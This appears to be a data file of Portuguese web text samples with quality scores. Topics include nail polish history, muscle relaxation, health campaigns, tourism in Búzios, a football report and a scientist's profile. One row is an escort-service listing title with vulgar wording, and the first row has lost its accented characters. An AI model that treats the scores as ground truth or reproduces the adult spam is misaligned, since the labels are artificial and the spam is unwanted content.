+Histria: O esmalte surgiu na China por volta de 3 000 a.C., h cinco mil anos. Ele era feito de goma-arbica, clara de ovo, gelatina e cera de abelha, atualmente uma variao da tinta usada em pintura de carros. A cor no princpio indicava a classe social da mulher que o usava. Durante a dinastia Chou, no sculo 7 a.C., apenas os membros da famlia real podiam usar uma pasta dourada ou prateada na unha essas cores mudaram mais tarde para vermelho e preto. Por volta do ano 30 a.C., pintar as unhas tambm virou moda entre os egpcios, que mergulhavam os dedos em tintura de hena. Mulheres das classes inferiores s estavam autorizadas a pintar as unhas com tons claros. O primeiro esmalte, como o de hoje, foi feito em 1925. Com o tempo o esmalte invadiu o mundo da moda e hoje todas as mulheres consideram um acessrio indispensvel para que seu look esteja completo. Mercado Abordagem breve sobre o mercado de esmaltes no Brasil O mercado de esmaltes do tipo Competitivo, existem vrios compradores e vrios vendedores. Nesse tipo de mercado, nenhum comprador ou vendedor individualmente consegue estabelecer preos de seus produtos. Esses preos so determinados pelo conjunto. No mercado competitivo, a competio perfeita, ou seja, os produtos so vistos como iguais, neste caso, os esmaltes possuem a mesma qualidade, as marcas so igualmente impactantes etc. Esse mercado regido pelas Leis de Demanda e Oferta. Chegam ao Brasil cerca de 7 mil itens de beleza por ano movimentando 25 bilhes de reais. O motivo para o aumento de consumo por esses itens foi o aumento significativo do poder de compra da populao, principalmente das classes C e D. O ingresso da mulher em cargos executivos e o fato de que a populao feminina brasileira maior que a masculina tambm justificam o aumento significativo na demanda de cosmticos. Assim, com um maior poder aquisitivo, os consumidores, majoritariamente mulheres, investiram mais em beleza e nas unhas. Atualmente, o Brasil o segundo maior consumidor de cosmticos e esmaltes do mundo, perdendo apenas para os EUA. O setor de beleza foi um dos nicos que no foi afetado pela crise econmica mundial. Uma curiosidade que surgiu a partir desse fato o chamado ndice Esmalte. Tudo surgiu a partir do conceito de ndice Batom, conhecida tendncia de aumento das vendas de cosmticos quando a economia no vai bem. Segundo o ndice Batom, nos perodos de recesso econmica, as mulheres deixam de comprar itens mais caros como sapatos e vestidos e passam a comprar cosmticos, como o
+batom. Porm, pesquisas realizadas por uma consultoria da National Purchase Diary (NPD) mostrou que s vsperas de uma recesso econmica nos Estados Unidos e na Europa em 2010, as vendas de esmaltes subiram 54%, enquanto a de batons 14%. Por esse motivo, a mdia chegou a questionar se o conceito ndice Batom no deveria ser substitudo e atualizado pelo nome ndice esmalte.
+Demanda: A demanda de uma pessoa ou um grupo de pessoas indica a quantidade de esmaltes que a pessoa ou o grupo quer consumir num determinado espao de tempo. Existem variveis de demanda que afetam diretamente a quantidade demandada dos esmaltes sendo elas: Preo: Entre os esmaltes populares, varia entre R$ 1,50 a 3,50. Mas esmaltes importados, como os da channel, chegam a custar R$ 90 reais. Preo dos outros bens Substitutos: So bens que podem ser consumidos substituindo outro, pois eles exercem a mesma funo e tende a levar o consumidor a escolher um s entre as opes. Exemplo: Esmaltes da Risqu e da Impal...",original,original,original,original,3,0.6
+"Conceito de relaxamento muscular - O que é, Definição e Significado
+Home >> Geral >> Conceito de relaxamento muscular
+Conceito de relaxamento muscular
+Relaxamento é o processo e o resultado de relaxar. Este verbo, por sua vez, refere-se a mitigar, suavizar ou aflorar algo. Muscular, por outro lado, é aquilo que está associado aos músculos (os tecidos que são compostos por fibras de tipo contráctil).
+Dá-se o nome de relaxamento muscular àquilo que ocorre quando a contracção de um músculo finaliza. Deste modo, o relaxamento implica que as fibras regressem ao seu lugar original como consequência do termo de um impulso nervoso.
+Para compreender este conceito, há que conhecer como funciona o processo de contracção muscular. Os músculos, a partir de um estímulo, adquirem uma certa tensão que os leva a alongar-se ou a encurtar e dá lugar à produção de uma força motora. Também existem as contracções involuntárias (chamadas reflexos).
+O relaxamento muscular tem lugar no momento de finalizar a contracção. Nesse processo, a tensão vai reduzindo até desaparecer. Isto pode fomentar-se através de diversos exercícios e inclusive mediante o uso de fármacos (conhecidos como relaxantes musculares).
+A tensão muscular também está associada à tensão mental: os exercícios de relaxamento muscular, por conseguinte, não só permitem incrementar o bem-estar físico, como também ajudam a minimizar a ansiedade e a reduzir o stress.
+Um dos métodos de relaxamento muscular mais conhecidos é aquele proposto na década de 1920 por Edmund Jacobson. Este médico defendia que a ansiedade e a tensão dos músculos estavam vinculadas. Por isso, ajudava os seus pacientes para que pudessem relaxar os seus músculos de maneira voluntária e, deste modo, diminuir sintomas relacionados com a ansiedade, a insónia e outros transtornos.
+A técnica desenvolvida por Jacobson recebe o nome de relaxamento muscular progressiva, tendo sido posto em prática pelo próprio com os seus pacientes, os quais ele treinou para tratar a ansiedade, a hipertensão, a insónia e as úlceras, todos eles problemas contra os quais é efectivo relaxar os músculos voluntariamente. Cabe mencionar que esta técnica goza de popularidade ainda hoje.
+Para levar a cabo o relaxamento muscular progressivo é necessário em primeiro lugar sentar-se numa cadeira cómoda ou num cadeirão, uma vez que o ideal é deixar os braços repousados em cima de uma superfície paralela ao solo. Outra opção é recostar-se numa cama, sempre que ofereça maior comodidade/conforto do que a cadeira. As pernas, por sua vez, não devem estar cruzadas. A roupa também é importante, uma vez que não se aconselha a deixar-se o calçado posto nem usar roupa apertada.
+Uma vez com a postura desejada, o primeiro passo é respirar profundamente duas vezes. Seguidamente, começa-se com uma série de exercícios bem definidos para tensionar e relaxar grupos musculares específicos, para aos poucos tomar o controlo de cada zona e conseguir relaxá-la voluntariamente.
+Alguns desses exercícios para conseguir o relaxamento muscular progressiva são os seguintes:
+* fechar as mãos com força, esticá-las e depois contraí-las. De seguida, abri-las e esticar os dedos para relaxarem;
+* esticar os bíceps, agitando as mãos antes e depois para nos asseguramos de não as esticar também;
+* mover os ombros para atrás com cuidado e logo deixá-los voltar para a sua posição normal;
+* deixando os ombros em posição relaxada, girar a cabeça para cada lado lentamente, procurando chegar até ao limite para conseguir a tensão mas com cuidado para não se exceder e depois voltá-la para a sua posição original;
+* também se pode inclinar a cabeça para a frente, procurando aproximar o queixo ao peio o máximo possível. O movimento contrário (para trás) não se recomenda, mas é outro dos exercícios possíveis;
+* abrir os olhos até alcançar o limite e depois relaxar as pálpebras.",original,original,original,original,4,0.8
+"Posted on 10 de janeiro, 2022 | by Lucas Martins | Leave a Comment on Janeiro Branco – Mês de conscientização sobre a saúde mental
+O Janeiro Branco é uma campanha brasileira iniciada em 2014 que busca chamar a atenção para o tema da saúde mental na vida das pessoas. O mês de janeiro foi escolhido porque é neste mês que as pessoas estão mais focadas em resoluções e metas para o ano. A campanha foi criada por psicólogos de Uberlândia, Minas Gerais, e busca incentivar as pessoas a mudarem suas vidas e buscarem o que as faz felizes.
+Saúde Mental é um direito de todas as pessoas — e isso pode fazer toda a diferença no mundo!
+Investir em Saúde Mental hoje é garantir qualidade de vida amanhã e sempre
+Campanha Janeiro Branco 2022: O mundo pede saúde mental!
+FONTE: https://santavitoria.mg.gov.br/2022/01/janeiro-branco-mes-de-conscientizacao-sobre-a-saude-mental/
+FELIZ NATAL
+Posted on 24 de dezembro, 2021 | by Lucas Martins | Leave a Comment on FELIZ NATAL
+O espírito do Natal é o espírito do amor, da generosidade e da bondade. Ele ilumina a janela da imagem da alma, nós olhamos para este mundo cheio de vida e nos tornamos mais interessados nas pessoas do que nas coisas. O Natal é o espírito de dar sem um pensamento de obter. É felicidade porque vemos alegria nas pessoas.
+Campanha Nacional de Prevenção ao HIV/Aids e Outras Infecções Sexualmente Transmissíveis
+Posted on 7 de dezembro, 2021 | by Lucas Martins | Leave a Comment on Campanha Nacional de Prevenção ao HIV/Aids e Outras Infecções Sexualmente Transmissíveis
+A Campanha Dezembro Vermelho foi instituída no Brasil pela Lei nº 13.504/2017 como forma de gerar mobilização nacional na luta contra o vírus HIV, a Aids e outras ISTs (Infecções Sexualmente Transmissíveis).
+A ação objetiva, ainda, chamar a atenção para a prevenção, a assistência e a proteção dos direitos das pessoas infectadas com o HIV.
+Constitui-se em um conjunto de atividades relacionadas ao enfrentamento ao HIV/Aids e às demais ISTs, em consonância com os princípios do Sistema Único de Saúde (SUS), de modo integrado em toda a administração pública, com entidades da sociedade civil organizada e organismos internacionais.
+No Brasil, 92% das pessoas em tratamento já atingiram o estágio de estarem indetectáveis, ou seja, estado em que a pessoa não transmite o vírus e consegue manter a qualidade de vida sem manifestar os sintomas da Aids.
+Essa conquista se deve ao fortalecimento das ações do Ministério da Saúde para ampliar a oferta do melhor tratamento disponível para o HIV, com a incorporação de medicamentos de primeira linha para tratar os pacientes.
+Além disso, o SUS coloca à disposição da população as estratégias e tecnologias mais avançadas para a prevenção da infecção pelo vírus, como a Profilaxia Pré-Exposição (PrEP) e a Profilaxia Pós Exposição (PEP); além de ampliar o acesso ao diagnóstico precoce e ações específicas para populações-chave para resposta ao HIV, como pessoas trans, gays, homens que fazem sexo com homens, trabalhadores do sexo, população privada de liberdade e usuários de álcool e outras substâncias.
+O movimento Dezembro Vermelho objetiva, ainda, conscientizar a todos a respeito das Infecções Sexualmente Transmissíveis, doenças causadas por vírus, bactérias ou outros microrganismos, transmitidas, principalmente, por meio do contato sexual (oral, vaginal, anal) sem o uso de preservativo masculino ou feminino, com uma pessoa que esteja infectada.
+A transmissão de uma IST pode ocorrer, também, verticalmente, da mãe para a criança durante a gestação, o parto ou a amamentação, quando medidas de prevenção não são realizadas. De maneira menos comum, também podem ser transmitidas por meio não sexual, pelo contato de mucosas ou pele não íntegra com secreções corporais contaminadas.
+O tratamento das pessoas com IST melhora a qualidade de vida e interrompe a cadeia de transmissão dessas infecções. O atendimento, o diagnóstico e o tratamento são gratuitos nos serviços de saúde do SUS.
+As ISTs podem se manifestar po...",original,original,original,original,4,0.8
+"Foi um missionário, um grande artista, um homem modesto, bom. Tentou morar duas vezes em Minas. Depois voltou para sua Holanda.
+PETER Wiemers morreu no dia 16, na Holanda, onde morava desde que deixou o Brasil, definitivamente, na década de 90 do século passado - parece, assim, tão distante, mas foi apenas ontem, menos de 20 anos. Ele estava em um carro, que sofreu um acidente. Levado para um hospital ainda com vida, não resistiu aos ferimentos. Wiemers morreu aos 87 anos.
+VALE lembrar, para os que não sabem, quem foi Wiemers. Antes e acima de tudo, um homem bom, um ser humano que dedicou sua vida aos amigos, aos necessitados, aos humildes. Sua profissão: artista. Dos melhores e mais talentosos pintores que a Holanda produziu - e ela os produziu em quantidade e qualidade. Ele nasceu em Amsterdã. Ali fez todos os seus cursos. Entrou para a Ordem dos Jesuítas. Fez-se padre. Sem nunca abandonar sua vocação artística.
+Em 1960, veio para o Brasil, como missionário. E escolheu Belo Horizonte para viver, lecionar pintura e pintar. Pouco depois, abandonou a batina, sentindo que poderia ser mais útil, como missionário independente, ensinando pintura às crianças, especialmente as com deficiências. Começou dando aulas nas casas dos alunos. O número de crianças aumentou. Com dinheiro que conseguiu emprestado, comprou um terreno, se bem me lembro, em Contagem, ali erguendo, com a ajuda de voluntários, de amigos, como o padre Inácio, e com sua participação direta como operário, uma escola para seus alunos.
+MAS a escola não cobrava mensalidades, nem taxas. Para se manter, Peter Wiemers pintava retratos, não apenas em Belo Horizonte, mas em Brasília também. Mas ele não sabia cobrar. Sentia-se constrangido quando lhe perguntavam o preço de um portrait. Se mesmo cobrando pouco percebesse desagrado, muito comum em face do espírito regateador do mineiro, acabava não cobrando nada.
+POBRE, modesto, humilde, não sabia valorizar o talento enorme que as telas que pintou, os retratos que podem ser vistos pendurados nas paredes de muitas casas
+ricas, de apartamentos luxuosos, demonstram sobejamente. Ele pintava retratos, mas dedicava muito de seu talento às pessoas humildes, operários, trabalhadores rurais, mendigos, retratados por ele com emoção. Do acervo que deixou em Minas, talvez o mais bonito trabalho seja uma Santa Ceia, com Cristo e os doze apóstolos inspirados no homem brasileiro comum. Era meu amigo e de Rachel, eu o conheci nos anos 60, acredito que através de outro grande artista e amigo, Petrônio Bax, que se foi há alguns meses. Almoçava muito em minha casa, pintou retratos de meus filhos, e nos anos 90, de Fabiana, minha neta. Conversávamos muito. Ele frequentava minha sala no jornal, na rua Goiás, tomava o café que Rosana lhe oferecia e que ele sempre elogiava, quando Sabará chegava com a bandeja. Era extremamente educado.
+NO começo dos anos 80, sem recursos para manter sua escola, e com escassos rendimentos para se manter, resolveu retornar à Holanda. Ficou lá um ano. A saudade do Brasil apertou, e ele veio em navio de carga para reencontrar os amigos mineiros. Tentou, mais uma vez, através de sua arte, buscar meios de subsistência entre nós. Discreto, nunca mencionando sua vida, seus problemas pessoais, suas dificuldades financeiras, lutou bravamente em silêncio, até que no final dos anos 90 desistiu. Embarcou de vez para sua terra, e anunciou que aquele seria o retorno definitivo às suas origens.
+A INICIATIVA, de caráter estritamente pedagógico e beneficente, era mantida pelas doações de amigos, das famílias dos assistidos e do produto da venda dos quadros de Wiemers. O sucesso foi grande, obrigando-o e aos que o auxiliavam a instalar a escola em uma pequena fazenda dos arredores de sua cidade. Os estudantes cumpriam o ano letivo normal e nas férias faziam viagens pelo país. Para este ano planejavam uma excursão pela Europa. Os recursos eram poucos. Wiemers doou para o grupo todas suas telas, para serem vendidas. Foi sua última decisão...",original,original,original,original,3,0.6
+"O que não falta em Armação dos Búzios são os bons programas. Durante o dia, o ideal é circular pelas praias, seja para praticar alguns esportes, paquerar ou somente para sentir a brisa do mar e não fazer absolutamente nada.
+Os passeios de barco também são boas excelentes para quem gosta de apreciar lindos cenários por diversos ângulos. À noite, todos os caminhos são no rumo da Rua das Pedras e à Orla Bardot, cheias de restaurantes, bares com festas e pessoas de todos os lugares.
+Engana-se quem pensa que em Armação dos Búzios as atrações se limitam somente a praias e esportes aquáticos. Pois tem ótimas opções, como os passeios ecológicos e as maravilhosas reservas naturais.
+Existem também muitos centros culturais onde você pode apreciar a inspiração dos artistas brasileiros e dos estrangeiros que vivem ali, encontrando ainda as galerias, encontros nos festivais de música, um belo museu de história, onde você conhece a origem da região.
+No decorrer do ano, existem diversos eventos que permitem que todos os turistas desfrutem da viagem, como a festa de São Pedro que é o padroeiro da cidade; também tem o aniversário do Iate Clube e muitos outros eventos legais.
+A região é belíssima, contando com ótimas praias e possíveis passeios pelos arredores, conhecendo pessoas interessantes e desfrutando da natureza.
+Vale a pena conhecer alguns lugares em Armação dos Búzios.
+As costas de Búzios são verdadeiras riquezas em flora e fauna submarina. A calmaria das águas rasas, e as profundas em algumas praias é um ótimo convite para apreciar de perto o seu ecossistema, por essa razão o mergulho é praticado ao redor de toda a península.
+O snorkeling é praticado nas praias de João Fernandes e João Fernandinho, pois elas possuem águas calmas e não são muito profundas. O equipamento costuma ser encontrado para aluga.
+É possível também contratar os guias locais que vão te levar aos lugares mais legais e vão te dar aulas de mergulho.
+É uma capela bem simples que foi fundada no ano de 1740 sendo a primeira construção religiosa construída na Armação de Búzios.
+A imagem de Santa Ana que está neste templo pequenino tem uma bonita lenda sobre a sua origem que vale muito a pena conhecer.
+Na parte de trás da capela você encontra um antigo cemitério que era onde enterravam os escravos e que até hoje serve como local para depósito de urnas fúnebres.
+Se você gosta de histórias com muito misticismo e magia deve visitar esta capela.
+Com a enorme variedade de águas e sucessão de ondas que tem nas praias, da península de Armação de Búzios, você pode praticar todo tipo de esportes náuticos e de vela.
+Armação de búzios é considerada um dos melhores destinos para este tipo de esporte. Você pode observar as competições de windsurf, hobie cats, wake boards e kite surf.
+Desfrutando das lindas paisagens naturais que tem nessa península é que se encontra Búzios Golf Clube, com dois quilômetros quadrados, é sem dúvidas um dos melhores na América Latina.
+Os adoradores deste esporte podem ficar horas praticando as suas tacadas em seus gramados ou se livrando dos obstáculos no decorrer do seu caminho.
+A península de Armação dos Búzios possui diversas ilhas, as quais você pode visitar desfrutando de um interessante passeio que dura de três a cinco horas.
+Pode ainda realizar em um iate, barcos pesqueiros, o catamarã, veleiros ou com as escunas. Durante esse passeio são servidas as bebidas e petiscos ou sanduiches, já inclusas, além disso você pode pedir que parem o barco para um mergulho.
+A Ilha Rasa – Fica a 10 quilômetros do cais de Búzios
+A Ilha Feia – É uma reserva natural, contando com as grutas e praias pequenas
+A Ilha do Caboclo – Uma Reserva ecológica que fica em frente ao centro de Búzios
+A Ilha Branca – Fica em frente da ponte de João Fernandes
+Armação dos Búzios é ótimo para ser admirado visualmente por qualquer um dos mirantes de forma estratégica ficam localizados nas bordas da Praia Brava; tendo um mirante vizinho a praia João Fernandes e o outro perto da praia do ...",original,original,original,original,4,0.8
+"Como adicionar abas no Windows Explorer
+Você não precisa esperar o lançamento definitivo do Windows 8 para ter algumas funcionalidades novas no seu Windows Explorer. A nova versão do sistema operacional promete mudanças para o gerenciador de pastas, mas você já pode conferir uma ótima novidade que nem mesmo o novo Windows terá.
+A navegação por abas, presente há bastante tempo nos navegadores web, agora pode ser usada para gerenciar seus arquivos, pastas e dispositivos. Se você não consegue lidar com várias janelas do Windows Explorer abertas ao mesmo tempo, fique atento e aprenda a organizar melhor o seu computador.
+Pré-requisito
+Clover
+A função de juntar todas as janelas em abas no gerenciador de arquivos do Windows não é nativa do sistema. Dessa forma, você precisa utilizar um programa específico para conseguir habilitar a opção. Para isso, você precisa utilizar o Clover.
+Aprenda a lidar com a ferramenta
+Depois de baixar o Clover e executar o arquivo, o seu Windows Explorer será aberto já com o novo sistema de abas. A aparência dessas guias e do topo da janela é idêntica ao formato utilizado no Google Chrome e perfeitamente integrada com a interface Aero do Windows 7.
+Assim como no Chrome, aqui existe o botão ""+"", que abre uma nova guia. Nesse caso, o diretório ""Computador"" é carregado quando acionamos o ícone em questão. Você pode usar quantas abas quiser ou ainda mais de uma janela com várias guias ao mesmo tempo.",original,original,original,original,3,0.6
+"Tricolor vencia por 2 a 0 fora de casa, mas após expulsão e pênalti polêmicos, o Grêmio conseguiu o empate
+Na noite deste sábado (6), o Bahia empatou em 2 a 2 com o Grêmio, na Arena do Grêmio, em jogo válido pela 28ª rodada do Campeonato Brasileiro. O Tricolor baiano chegou a abrir 2 a 0 no placar, mas após decisões controversas da arbitragem, que expulsou o zagueiro Jackson e concedeu um pênalti polêmico ao Grêmio, a equipe acabou cedendo o empate.
+Com o resultado, o Bahia chega à 14ª posição, com 31 pontos. A equipe volta a campo no próximo sábado (13), às 21h, quando enfrenta o Paraná, no estádio de Pituaçu, pela 29ª rodada do Campeonato Brasileiro.
+Logo aos dois minutos de jogo, o Bahia abriu o placar. Léo cobrou lateral na área com força, Nilton subiu para desviar e Élber, livre no segundo pau, completou para o gol.
+Aos 23, o Grêmio chegou a balançar as redes: Luan cobrou falta na área, Geromel desviou e Cícero, impedido, desviou para o gol. Após indecisão, o auxiliar assinalou o impedimento, para protesto do time gremista, que dizia que a bola havia desviado em um jogador do Bahia, e não em Geromel.
+Aos 29, chance para o Bahia: após boa troca de passes, a bola chegou em Nilton, que arriscou de fora, para boa defesa de Marcelo Grohe no canto.
+Aos 38, novamente o Tricolor baiano: Ramires fez boa jogada pela esquerda e cruzou. Gregore apareceu na área e quase consegue o desvio para o gol.
+Aos 10, o zagueiro Jackson chegou de carrinho em cima de Juninho Capixaba, recebeu o segundo amarelo e foi expulso. Porém, para muitos, o defensor nem fez falta no lance, chegando na bola antes de atingir o jogador.
+No lance seguinte, aos 40, mais uma polêmica da arbitragem favorável ao Grêmio: Marinho fez boa jogada, invadiu a área e caiu após dividir com Léo e Gregore. O juiz marcou pênalti de Gregore sobre o atacante gremista, o que causou muitas reclamações do time baiano.
+Aos 42, Jael cobrou a penalidade sem chances para Douglas e empatou a partida.",original,original,original,original,0,0.0
+"Esse padrão também se repete em nossa vida. Às vezes nos tornamos prisioneiros de nós mesmos e, na tentativa de escapar, acabamos ainda mais enredados nas redes que construímos ao nosso redor. Criamos, sem perceber, becos sem saída, duplos laços psicológicos que nos mantêm presos em uma situação que nos prejudica ou nos causa desconforto.
+Alan Watts resumiu a idéia do duplo vínculo psicológico de uma maneira magistral: “crie um problema tentando resolvê-lo, lamentar porque um é afligido e teme o medo “.
+As queixas são um exemplo perfeito para entender como o laço psicológico duplo funciona no nosso dia a dia. Os lamentos não apenas expressam um estado de descontentamento, mas também multiplicam as dificuldades, porque nos concentramos apenas nos obstáculos e nas conseqüências negativas do fato pelo qual nos queixamos.
+Lamentar é como colocar uma bandagem preta nos olhos, querendo ver as cores do mundo. Ao desenvolver uma visão negativa do que aconteceu, somos impedidos de encontrar a solução porque nossa mente se torna uma fábrica de problemas. Quando nos apegamos às reclamações, a tudo que deu errado e ao que pode dar errado, nos condenamos à imobilidade.
+As queixas fazem com que, para o problema, devemos também acrescentar um problema de atitude às circunstâncias, mais a negatividade mental que nos impede de encontrar soluções. Por essa razão, lamentar se torna um beco sem saída, um empate psicológico duplo.
+Tal é o caso de pensamentos recorrentes negativos, por exemplo. Quando queremos remover um pensamento indesejado de nossa mente, a tentativa de parar de pensar nele ativa um mecanismo de hipervigilância que reforça esse pensamento ainda mais. É uma batalha perdida antecipadamente porque caímos na armadilha que tendemos. Quanto mais você tentar parar de pensar em elefantes cor de rosa, mais você vai pensar sobre eles.
+Sempre que se preocupar preocupação, temos medo ansiedade ou ficamos deprimidos porque estamos tristes, estamos criando uma situação que achamos impossível escapar, porque você não pode resolver um problema com a mesma mentalidade com a qual ele foi criado.
+A chave, ou pelo menos uma delas, está na não ação ou no princípio de Wu-Wei; isto é, deixe tudo seguir seu curso natural. Se você não se esforçar para remover um pensamento da sua mente, mais cedo ou mais tarde ele desaparecerá, porque o curso natural da mente envolve saltar de um pensamento para outro sem se apegar a alguém em particular.
+Portanto, se você não alimentar o medo do medo, a preocupação pela preocupação ou a tristeza pela tristeza, essas emoções acabarão desaparecendo, como se fossem nuvens arrastadas pelo vento. É uma aceitação radical , assumir uma atitude de distanciamento mental em que nos separamos da mentalidade que criou o problema, a fim de resolvê-lo.
+Um poema de Seng-ts’an chamado “Tratado sobre Fé na Mente” é particularmente revelador para se livrar do duplo vínculo psicológico:
+” O sábio não tenta;
+Se você trabalha com sua mente em sua mente,
+Bem Mais Mulher - 26 de julho de 2019",original,original,original,original,3,0.6
+"25 | março | 2007 | SinapsesLinks
+Início2007março25
+Dia: mar 25, 2007 @ 7:51
+mar 25, 2007 @ 7:51 ago 25, 2011 @ 5:18 SinapsesLinks _BlogSpot	_BlogSpot
+mar 25, 2007 @ 7:50 ago 25, 2011 @ 5:18 SinapsesLinks _BlogSpot	_BlogSpot
+52 Quatro Pétalas
+mar 25, 2007 @ 7:49 ago 25, 2011 @ 5:18 SinapsesLinks _Especial	Quatro Pétalas
+mar 25, 2007 @ 7:48 ago 25, 2011 @ 5:18 SinapsesLinks _BlogSpot	_BlogSpot
+mar 25, 2007 @ 7:47 ago 25, 2011 @ 5:18 SinapsesLinks _Especial	persistência
+mar 25, 2007 @ 7:46 ago 25, 2011 @ 5:18 SinapsesLinks _BlogSpot	_BlogSpot
+52 Fortuna
+mar 25, 2007 @ 7:45 ago 25, 2011 @ 5:18 SinapsesLinks _Especial	Fortuna, Pitágoras
+mar 25, 2007 @ 7:44 ago 25, 2011 @ 5:18 SinapsesLinks _BlogSpot	_BlogSpot
+52 ESE Capítulo 23
+mar 25, 2007 @ 7:41 ago 25, 2011 @ 5:17 SinapsesLinks _Especial	Estranha Moral, Jesus
+Capítulo XXIII – Estranha Moral – Jesus
+Como nas suas pegadas caminhasse grande massa de povo, Jesus, voltando-se, disse-lhes: – Se alguém vem a mim e não odeia a seu pai e a sua mãe, a sua mulher e a seus filhos, a seus irmãos e irmãs, mesmo a sua própria vida, não pode ser meu discípulo. -E quem quer que não carregue a sua cruz e me siga, não pode ser meu discípulo. – Assim, aquele dentre vós que não renunciar a tudo o que tem não pode ser meu discípulo. (S. LUCAS, cap. XIV, vv. 25 a 27 e 33.)
+mar 25, 2007 @ 7:39 ago 25, 2011 @ 5:17 SinapsesLinks _Especial	Eubiose, intenção, Intuição, vontade
+mar 25, 2007 @ 7:39 ago 25, 2011 @ 5:17 SinapsesLinks _BlogSpot	_BlogSpot
+52 Cortesia
+mar 25, 2007 @ 7:35 ago 25, 2011 @ 5:17 SinapsesLinks _Especial	cliente, Cortesia
+Eu sou o homem que vai a um restaurante, senta-se à mesa e pacientementeespera, enquanto o garçom faz tudo, menos o meu pedido.
+Eu sou o homem que entra num banco e aguarda tranqüilamente que as recepcionistas e os caixas terminem de conversar com seus amigos e espera pacientemente enquanto os funcionários trocam idéias entre si, ou simplesmente baixam a cabeça e fingem não me ver.
+Você deve estar pensando que sou uma pessoa quieta, paciente, do tipo que nunca cria problemas. Engana-se…
+Maria Christina Camargo Leal – Taubaté-SP – Brasil
+381.613 hits",original,original,original,original,1,0.2
+"Por padrão, o Google Chrome impede que os pop-ups apareçam automaticamente na tela. O Portal Acadêmico utiliza funções que necessitam o desbloqueio de pop-ups. Para realizar o ...
+Documentos disponíveis para solicitação no Portal
+Acessando o Portal é possível realizar a solicitação de documentos. Documentos disponíveis para Graduação: Atestado de Conclusão de Carga horária do Curso: Atestado de Matrícula; Atestado de Monitoria; Atestado de ...
+Determinado aluno/membro já foi adicionado a turma/equipe, mas não consegue acessar. Como posso resolver?
+ATENÇÃO: Antes de acessar o Office 365 é necessário ativar sua conta. CLIQUE AQUI se você for Funcionário ou Professor e siga o passo-a-passo.CLIQUE AQUI ...
+Desinstalando o Microsoft Teams e reinstalando para correção de erros.
+1. Na barra de ferramentas do Windows localize e encerre o aplicativo 2. Clique com o botão direito do mouse sobre o ícone Iniciar na barra ...
+Deixando as tarefas acessíveis para alunos que forem adicionados no decorrer do curso
+1. Acesse a equipe que deseja liberar os trabalhos para alunos que são adicionados no decorrer do curso 2. Localize a aba ""Trabalhos"" 3. Clique nos ""..."" 4. ...",original,original,original,original,5,1.0
+"Mulher, negra e cientista: as conquistas de Fátima, Doutora em Entomologia e pesquisadora do Ministério da Saúde - Plano Feminino
+Mesmo com oportunidades desiguais quando falamos de raça e gênero, conhecemos mulheres poderosas, de diversas áreas, que hackearam o sistema, lutaram para ocupar espaços e hoje são exemplo para as próximas gerações, mostrando que a mulher negra pode, sim, realizar o que quiser.
+Hoje, falaremos sobre uma mulher negra, cientista, que está ocupando seus espaços. Fátima dos Santos é Doutora em Entomologia pela Universidade Central da Venezuela e Pesquisadora do Ministério da Saúde e se especializou no estudo da malária. Uma mulher que diz que suas paixões estão em Deus e suas filhas: “São duas mulheres negras, lindas, inteligentes: as minhas filhas. E, por último, meu trabalho com estudo de insetos que causam danos às populações humanas.”
+Na infância, Fátima tinha muitos sonhos, mas o principal era ter uma casa. “Queria que ela fosse bonita, grande e na frente do terreno, porque minha casa era pequena e no quintal no fundo da casa dos meus avós paternos.”
+A cientista diz que era a menina mais negra das duas famílias de avós. Ela tinha a pele mais escura do que as outras pessoas da família e era também a mais inteligente e mais esperta e, por isto, muito cobrada e castigada. “Quando criança, eu pensava em muitas profissões, quis ser muitas coisas, de professora a modelo, e queria viajar o mundo. Mas tinha verdadeira paixão por insetos. Colecionava libélulas, gafanhotos, besouros, capturava e criava lagartas para vê- las transformarem-se em borboletas. Não tinha muitos brinquedos e não tenho irmãos e viver entre os insetos era minha brincadeira preferida. E essa brincadeira mais tarde, determinou minha profissão. Sou bióloga, ScD em Entomologia (Science da Ciência que estuda insetos)”.
+Falamos com a Fátima também sobre ocupar espaços e ela diz que não foi fácil, o caminho que trilhou foi cheio de obstáculos. “Conquistar qualquer espaço diferente de fogão e vassouras para uma mulher negra e pobre é árduo. Sou Pesquisadora do Ministério da Saúde e, em 1984, era a única mulher que possuía nível superior numa das Coordenações do mesmo ministério em Rondônia, onde todos os cargos de liderança eram masculinos.
+Meu primeiro coordenador era um médico branco e nordestino. Só isso já dá para imaginar o nível de racismo e discriminação, que era tão grande, que ele fazia reunião técnica e não me convidava, depois cinicamente me dizia ‘eu sabia que tinha esquecido alguém’. Minha opinião não interessava muito.
+Fui abrindo meus espaços, demonstrando mais trabalho que os meus colegas. Passava, muito tempo no laboratório, com projetos e colaboração com grandes grupos de pesquisa em instituições nacionais, como a Fundação Oswaldo Cruz, e internacionais como as Universidades de Emory em Atlanta, a Universidade da Flórida, nos Estados Unidos e a Universidade de Wageningen, na Holanda, e isto me abriu muitas portas.
+Quando meu chefe percebeu, eu já havia me transformado em Doutora. E a única doutora entre todos. Por esta façanha, muitos colegas deixaram de falar comigo.
+Diante de todas essas situações, Fátima tinha dentro de si motivações que a levaram até onde está hoje, e as principais foram viver melhor e mais confortavelmente que os seus pais. “Eu também queria proporcionar uma infância e adolescência às minhas filhas que fosse melhor do que a que eu tive e poder, de alguma forma, melhorar as condições de saúde de pessoas que vivem em locais de pobreza, que convivem com doenças e são negligenciadas.”
+Uma das atuações que Fátima considera importante na sua carreira, foi a época em que trabalhou na Odebrecht, tendo feito um grandioso e reconhecido trabalho no controle da malária, durante a construção da hidrelétrica de Santo Antônio, em Rondônia. “Mesmo assim, depois de já ter vasta experiência, meu salário era menor que o dos profissionais masculinos de diversas áreas. E pela minha cor, meu líder dizia que a primeira vez q...",original,original,original,original,4,0.8
+Acompanhantes & Massagistas Aparecida d`Oeste - SP | Morango VIP - Acompanhantes - Massagistas - Acompanhantes Brasil - Escorts Brazil - Acompanhantes de Luxo - GP - Massagens - Putas,original,original,original,original,0,0.0
+"Olá, pequenos exploradores da história! Já pararam para pensar que a história de cada um de nós começa muito antes de nascermos? Ela começa com a nossa família e a comunidade onde vivemos. Imagine que cada família é como uma árvore, com raízes profundas que se estendem por muitas gerações. Essas raízes são os nossos avós, bisavós e todos aqueles que vieram antes de nós. Eles viveram em tempos diferentes, com costumes e tradições que foram passados de pai para filho, formando a nossa herança familiar. 
+
